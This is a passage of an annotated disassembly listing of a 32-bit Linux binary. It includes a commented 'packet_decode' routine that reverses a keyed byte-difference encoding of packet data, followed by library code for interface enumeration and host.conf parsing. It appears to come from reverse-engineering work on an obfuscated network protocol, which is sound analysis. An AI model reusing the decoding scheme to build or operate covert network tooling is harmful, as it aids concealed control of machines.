input		= dword	ptr  0Ch
output		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+input_size]
		lea	ebx, [edi-1]	; input_size - 1
		lea	eax, [edi+3]	; input_size + 3
		and	al, 0FCh
		sub	esp, eax	; dynamically allocate a local var big enough to hold ip_data_2
		mov	[ebp+str_ptr], esp
		mov	al, ds:crypto_key
		mov	esi, [ebp+output]
		mov	[esi], al	; output[0] = crypto_key
		test	ebx, ebx
		jl	loc_804A29B	; while	(ebx > 0)

loc_804A214:				; CODE XREF: packet_decode+ADj
		lea	edx, [ebx-1]	; edx =	ebx - 1
		test	ebx, ebx
		jz	short ebx_is_0
		mov	esi, [ebp+input]
		movzx	eax, byte ptr [ebx+esi]
		movzx	edx, byte ptr [edx+esi]
		sub	eax, edx	; eax =	input[ebx] - input[ebx-1]
		jmp	short loc_804A232
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

ebx_is_0:				; CODE XREF: packet_decode+31j
		mov	esi, [ebp+input]
		movzx	eax, byte ptr [esi]

loc_804A232:				; CODE XREF: packet_decode+40j
		lea	ecx, [eax-17h]	; ecx =	eax - 23
		test	ecx, ecx
		jge	short ecx_is_positive ;	skip the next block if ecx > 0
		lea	esi, [esi+0]

add256:					; CODE XREF: packet_decode+5Aj
		add	ecx, 100h	; add 256 to ecx until it becomes positive
		js	short add256

ecx_is_positive:			; CODE XREF: packet_decode+4Fj
		xor	edx, edx
		cmp	edx, edi
		jge	short loc_804A25D ; skip the next block	if input_size == 0
		lea	esi, [esi]

copy_buf_2_str:				; CODE XREF: packet_decode+73j
		mov	esi, [ebp+output]
		mov	al, [edx+esi]
		mov	esi, [ebp+str_ptr]
		mov	[edx+esi], al	; str[edx] = output[edx]
		inc	edx		; edx++
		cmp	edx, edi	; while	(edx < input_size)
		jl	short copy_buf_2_str

loc_804A25D:				; CODE XREF: packet_decode+60j
		mov	esi, [ebp+output]
		mov	[esi], cl	; output[0] = cl
		mov	edx, 1
		cmp	edx, edi
		jge	short loc_804A27E ; skip the next block	if input_size == 1
		nop

copy_str_2_buf:				; CODE XREF: packet_decode+94j
		mov	esi, [ebp+str_ptr]
		mov	al, [edx+esi-1]
		mov	esi, [ebp+output]
		mov	[edx+esi], al	; output[edx] =	str[edx-1]
		inc	edx		; edx++
		cmp	edx, edi	; while	(edx < input_size)
		jl	short copy_str_2_buf

loc_804A27E:				; CODE XREF: packet_decode+81j
		mov	esi, [ebp+str_ptr]
		push	esi
		push	ecx
		push	offset aCS	; "%c%s"
		mov	esi, [ebp+output]
		push	esi
		call	sprintf
		add	esp, 10h
		dec	ebx		; ebx--
		jns	loc_804A214	; while	(ebx >=	0)

loc_804A29B:				; CODE XREF: packet_decode+26j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
packet_decode	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000001E4 BYTES: COLLAPSED FUNCTION setenv. PRESS KEYPAD "+" TO EXPAND]
; [00000065 BYTES: COLLAPSED FUNCTION unsetenv.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804A4F4	proc near		; CODE XREF: sub_804A580+14p
					; sub_804A580+2Cp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		cmp	dword_8078520, esi
		jle	short loc_804A574
		nop

loc_804A508:				; CODE XREF: sub_804A4F4+7Ej
		mov	eax, ds:dword_807A348[esi*4]
		mov	[ebp+var_8], eax
		mov	edi, [ebp+var_8]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	ebx, ecx
		dec	ebx
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, ebx
		jle	short loc_804A56B
		mov	edx, [ebp+var_8]
		push	edx
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, ebx
		push	eax
		call	strcasecmp
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jnz	short loc_804A56B
		mov	edi, [ebp+arg_0]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	edx, ecx
		dec	edx
		sub	edx, ebx
		mov	eax, [ebp+arg_0]
		mov	byte ptr [edx+eax], 0

loc_804A56B:				; CODE XREF: sub_804A4F4+40j
					; sub_804A4F4+5Aj
		inc	esi
		cmp	dword_8078520, esi
		jg	short loc_804A508

loc_804A574:				; CODE XREF: sub_804A4F4+11j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804A4F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804A580	proc near		; CODE XREF: gethostbyname+285p
					; .text:0804C4B5p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		cmp	dword_8078520, 0
		jz	short loc_804A5BE
		mov	eax, [esi]
		push	eax
		call	sub_804A4F4
		xor	ebx, ebx
		add	esp, 4
		mov	eax, [esi+4]
		cmp	dword ptr [eax], 0
		jz	short loc_804A5BE
		lea	esi, [esi]

loc_804A5A8:				; CODE XREF: sub_804A580+3Cj
		mov	eax, [eax+ebx*4]
		push	eax
		call	sub_804A4F4
		add	esp, 4
		inc	ebx
		mov	eax, [esi+4]
		cmp	dword ptr [eax+ebx*4], 0
		jnz	short loc_804A5A8

loc_804A5BE:				; CODE XREF: sub_804A580+Fj
					; sub_804A580+24j
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_804A580	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804A5CC	proc near		; CODE XREF: .text:0804BF0Ep
					; .text:0804BF40p ...

var_174		= byte ptr -174h
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		push	edi
		push	esi
		push	ebx
		cmp	dword_8078524, 0
		jz	loc_804A9C9
		cmp	[ebp+arg_0], 0
		jz	loc_804A9C9
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	loc_804A8F7
		push	0
		push	1
		push	2
		call	socket		; open a SOCK_STREAM socket, type PF_INET, proto IP
		mov	[ebp+var_150], eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_804A9C9
		mov	[ebp+var_148], 140h
		lea	edi, [ebp+var_140]
		mov	[ebp+var_144], edi
		lea	eax, [ebp+var_148]
		push	eax
		push	8912h
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_804A9C9
		mov	edi, [ebp+var_148]
		shr	edi, 5
		mov	[ebp+var_154], edi
		mov	ds:dword_80793B0, offset unk_80792C0
		mov	edi, [ebp+var_144]
		mov	[ebp+var_168], edi
		cmp	[ebp+var_154], 0
		jz	loc_804A8DB
		mov	ebx, edi
		add	ebx, 14h
		mov	eax, [ebp+var_154]
		and	eax, 1
		cmp	[ebp+var_154], 0
		jle	short loc_804A6A4
		test	eax, eax
		jz	loc_804A747

loc_804A6A4:				; CODE XREF: sub_804A5CC+CEj
		mov	edi, [ebp+var_168]
		push	edi
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	edi
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_804A731
		mov	esi, [ebx]
		mov	edi, [ebp+var_168]
		push	edi
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_804A731
		mov	edx, [ebx]
		and	edx, esi
		jz	short loc_804A731
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A724
		mov	dword_8078524, 0

loc_804A724:				; CODE XREF: sub_804A5CC+14Cj
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A731:				; CODE XREF: sub_804A5CC+102j
					; sub_804A5CC+109j ...
		add	ebx, 20h
		add	[ebp+var_168], 20h
		dec	[ebp+var_154]
		jz	loc_804A8DB

loc_804A747:				; CODE XREF: sub_804A5CC+D2j
		mov	[ebp+var_158], ebx
		lea	edi, [ebx-4]
		mov	[ebp+var_15C], edi
		mov	[ebp+var_160], ebx
		mov	[ebp+var_164], edi
		lea	esi, [esi]

loc_804A764:				; CODE XREF: sub_804A5CC+309j
		mov	edi, [ebp+var_168]
		push	edi
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	edi
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A807
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi],	2
		jnz	short loc_804A807
		mov	edi, [ebp+var_160]
		mov	ebx, [edi]
		mov	edi, [ebp+var_168]
		push	edi
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A807
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi],	2
		jnz	short loc_804A807
		mov	edi, [ebp+var_158]
		mov	edx, [edi]
		and	edx, ebx
		jz	short loc_804A807
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], ebx
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A7FA
		mov	dword_8078524, 0

loc_804A7FA:				; CODE XREF: sub_804A5CC+222j
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A807:				; CODE XREF: sub_804A5CC+1C2j
					; sub_804A5CC+1CEj ...
		mov	ebx, [ebp+var_168]
		add	ebx, 20h
		push	ebx
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	ebx
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A8AB
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_804A8AB
		mov	edi, [ebp+var_160]
		mov	esi, [edi+20h]
		push	ebx
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A8AB
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_804A8AB
		mov	edi, [ebp+var_158]
		mov	edx, [edi+20h]
		and	edx, esi
		jz	short loc_804A8AB
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A89E
		mov	dword_8078524, 0

loc_804A89E:				; CODE XREF: sub_804A5CC+2C6j
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A8AB:				; CODE XREF: sub_804A5CC+268j
					; sub_804A5CC+275j ...
		add	[ebp+var_158], 40h
		add	[ebp+var_15C], 40h
		add	[ebp+var_160], 40h
		add	[ebp+var_164], 40h
		add	[ebp+var_168], 40h
		add	[ebp+var_154], 0FFFFFFFEh
		jnz	loc_804A764

loc_804A8DB:				; CODE XREF: sub_804A5CC+B3j
					; sub_804A5CC+175j
		mov	edi, [ebp+var_150]
		push	edi
		call	__libc_close
		add	esp, 4
		cmp	dword_8078524, 0
		jz	loc_804A9C9

loc_804A8F7:				; CODE XREF: sub_804A5CC+2Aj
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+10h]
		test	ebx, ebx
		jz	loc_804A9C9
		lea	esi, [ebp+var_14C]
		nop

loc_804A90C:				; CODE XREF: sub_804A5CC+3F7j
		cmp	dword ptr [ebx], 0
		jz	loc_804A9C9
		mov	ds:dword_80793B0, offset unk_80792C0
		mov	ecx, dword_8078524
		test	ecx, ecx
		jz	loc_804A9C0
		mov	eax, ecx
		and	eax, 1
		test	ecx, ecx
		jle	short loc_804A93A
		test	eax, eax
		jz	short loc_804A958

loc_804A93A:				; CODE XREF: sub_804A5CC+368j
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_804A983
		add	ds:dword_80793B0, 18h
		dec	ecx
		jz	short loc_804A9C0
		lea	esi, [esi]

loc_804A958:				; CODE XREF: sub_804A5CC+36Cj
					; sub_804A5CC+3F2j
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_804A983
		add	ds:dword_80793B0, 18h
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jnz	short loc_804A9B4

loc_804A983:				; CODE XREF: sub_804A5CC+37Ej
					; sub_804A5CC+39Cj
		push	4
		push	esi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		push	4
		mov	eax, [edi+10h]
		mov	eax, [eax]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	bcopy
		push	4
		mov	eax, [ebx]
		push	eax
		push	esi
		call	bcopy
		jmp	short loc_804A9C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804A9B4:				; CODE XREF: sub_804A5CC+3B5j
		add	ds:dword_80793B0, 18h
		add	ecx, 0FFFFFFFEh
		jnz	short loc_804A958

loc_804A9C0:				; CODE XREF: sub_804A5CC+35Bj
					; sub_804A5CC+388j
		add	ebx, 4
		jnz	loc_804A90C

loc_804A9C9:				; CODE XREF: sub_804A5CC+13j
					; sub_804A5CC+1Dj ...
		lea	esp, [ebp+var_174]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804A5CC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

init_services	proc near		; CODE XREF: .text:0804BEBFp
					; gethostbyname+E1p ...

var_420		= byte ptr -420h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FC		= byte ptr -3FCh
var_3FB		= byte ptr -3FBh
var_3F9		= byte ptr -3F9h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		mov	[ebp+var_408], offset unk_807A358
		call	libc_nls_init
		push	offset aResolv_host_co ; "RESOLV_HOST_CONF"
		call	getenv
		mov	[ebp+var_40C], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_804AA16
		mov	[ebp+var_40C], offset aEtcHost_conf ; "/etc/host.conf"

loc_804AA16:				; CODE XREF: init_services+32j
		push	offset aR	; "r"
		mov	eax, [ebp+var_40C]
		push	eax
		call	_IO_fopen
		mov	[ebp+var_404], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_804AA50
		mov	ds:dword_8079DD4, 1
		mov	ds:dword_8079DD8, 0
		jmp	loc_804B436
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AA50:				; CODE XREF: init_services+5Aj
		lea	ecx, [ebp+var_400]
		mov	[ebp+var_410], ecx

loc_804AA5C:				; CODE XREF: init_services+CAj
					; init_services+EFj ...
		mov	eax, [ebp+var_404]
		push	eax
		push	400h
		mov	ecx, [ebp+var_410]
		push	ecx
		call	_IO_fgets
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jz	loc_804B41C
		push	0Ah
		mov	eax, [ebp+var_410]
		push	eax
		call	rindex
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804AA9B
		mov	byte ptr [ebx],	0

loc_804AA9B:				; CODE XREF: init_services+BEj
		cmp	[ebp+var_400], 23h
		jz	short loc_804AA5C
		lea	ebx, [ebp+var_400]
		cmp	[ebp+var_400], 0
		jz	short loc_804AACE
		mov	edx, dword_8078FA0
		lea	esi, [esi+0]

loc_804AABC:				; CODE XREF: init_services+F4j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804AACE
		inc	ebx
		jz	short loc_804AA5C
		cmp	byte ptr [ebx],	0
		jnz	short loc_804AABC

loc_804AACE:				; CODE XREF: init_services+D9j
					; init_services+ECj
		test	ebx, ebx
		jz	short loc_804AA5C
		cmp	byte ptr [ebx],	0
		jz	short loc_804AA5C
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		push	edx
		push	ebx
		mov	eax, [ebp+var_410]
		push	eax
		call	memmove
		push	5
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strncasecmp
		mov	edx, eax
		add	esp, 18h
		test	edx, edx
		jnz	loc_804AD64
		cmp	[ebp+var_3FB], 0
		jz	short loc_804AB3B
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AD64

loc_804AB3B:				; CODE XREF: init_services+14Aj
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_410]
		push	eax
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804AB5B
		cmp	byte ptr [ebx+1], 0
		jnz	short loc_804AB7D

loc_804AB5B:				; CODE XREF: init_services+17Bj
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		jmp	loc_804B3AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AB7C:				; CODE XREF: init_services+1A8j
					; init_services+1ADj
		inc	ebx

loc_804AB7D:				; CODE XREF: init_services+181j
					; init_services+321j
		cmp	byte ptr [ebx],	20h
		jz	short loc_804AB7C
		cmp	byte ptr [ebx],	9
		jz	short loc_804AB7C
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		call	strpbrk
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_804AB9E
		mov	byte ptr [edi],	0

loc_804AB9E:				; CODE XREF: init_services+1C1j
		push	4
		push	offset aBind	; "bind"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804ABEC
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804ABC8
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804ABEC

loc_804ABC8:				; CODE XREF: init_services+1DEj
		mov	ds:dword_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_807854C,	1
		jnz	loc_804ACF0
		call	res_init
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804ABEC:				; CODE XREF: init_services+1D8j
					; init_services+1EEj
		push	5
		push	offset aHosts	; "hosts"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AC28
		cmp	byte ptr [ebx+5], 0
		jz	short loc_804AC16
		movzx	edx, byte ptr [ebx+5]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AC28

loc_804AC16:				; CODE XREF: init_services+22Cj
		mov	ds:dword_8079DD4[esi*4], 2
		inc	esi
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AC28:				; CODE XREF: init_services+226j
					; init_services+23Cj
		push	3
		push	offset aNis	; "nis"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AC64
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AC52
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AC64

loc_804AC52:				; CODE XREF: init_services+268j
		mov	ds:dword_8079DD4[esi*4], 3
		inc	esi
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AC64:				; CODE XREF: init_services+262j
					; init_services+278j
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		push	offset aNis	; "nis"
		push	offset aHosts	; "hosts"
		push	offset aBind	; "bind"
		push	offset aResolvValidKey ; "resolv+: valid keywords are: %s, %s and"...
		push	0Eh
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 30h

loc_804ACF0:				; CODE XREF: init_services+203j
					; init_services+20Ej ...
		test	edi, edi
		jz	short loc_804ACFF
		lea	ebx, [edi+1]
		test	ebx, ebx
		jnz	loc_804AB7D

loc_804ACFF:				; CODE XREF: init_services+31Aj
		test	esi, esi
		jnz	loc_804AA5C
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		push	offset aResolvSearchOr ; "resolv+: search order	not specified or "...
		push	0Fh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	sub_805E584
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 28h
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AD64:				; CODE XREF: init_services+13Dj
					; init_services+15Dj
		push	5
		push	offset aMulti	; "multi"
		mov	eax, [ebp+var_410]
		push	eax
		call	strncasecmp
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804AEA8
		cmp	[ebp+var_3FB], 0
		jz	short loc_804ADA4
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AEA8

loc_804ADA4:				; CODE XREF: init_services+3B3j
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jz	short loc_804ADE6
		mov	edx, dword_8078FA0
		lea	esi, [esi+0]

loc_804ADD0:				; CODE XREF: init_services+40Cj
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804ADE6
		inc	ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jnz	short loc_804ADD0

loc_804ADE6:				; CODE XREF: init_services+3EDj
					; init_services+400j
		test	ebx, ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jz	loc_804AE9C
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804AE44
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AE44
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804AE32
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AE44

loc_804AE32:				; CODE XREF: init_services+448j
		mov	dword_8078510, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AE44:				; CODE XREF: init_services+42Ej
					; init_services+442j ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804AE90
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AE90
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AE7F
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AE90

loc_804AE7F:				; CODE XREF: init_services+495j
		mov	dword_8078510, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AE90:				; CODE XREF: init_services+47Bj
					; init_services+48Fj ...
		push	offset aMulti	; "multi"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AE9C:				; CODE XREF: init_services+3E4j
					; init_services+403j ...
		push	offset aMulti	; "multi"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AEA8:				; CODE XREF: init_services+3A6j
					; init_services+3C6j
		push	7
		push	offset aNospoof	; "nospoof"
		mov	eax, [ebp+var_410]
		push	eax
		call	strncasecmp
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804AFEC
		cmp	[ebp+var_3F9], 0
		jz	short loc_804AEE8
		movzx	edx, [ebp+var_3F9]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AFEC

loc_804AEE8:				; CODE XREF: init_services+4F7j
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jz	short loc_804AF2A
		mov	edx, dword_8078FA0
		lea	esi, [esi+0]

loc_804AF14:				; CODE XREF: init_services+550j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804AF2A
		inc	ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jnz	short loc_804AF14

loc_804AF2A:				; CODE XREF: init_services+531j
					; init_services+544j
		test	ebx, ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jz	loc_804AFE0
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804AF88
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AF88
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804AF76
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AF88

loc_804AF76:				; CODE XREF: init_services+58Cj
		mov	dword_8078514, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AF88:				; CODE XREF: init_services+572j
					; init_services+586j ...
		mov	edi, ebx
		xor	al, al
		cld
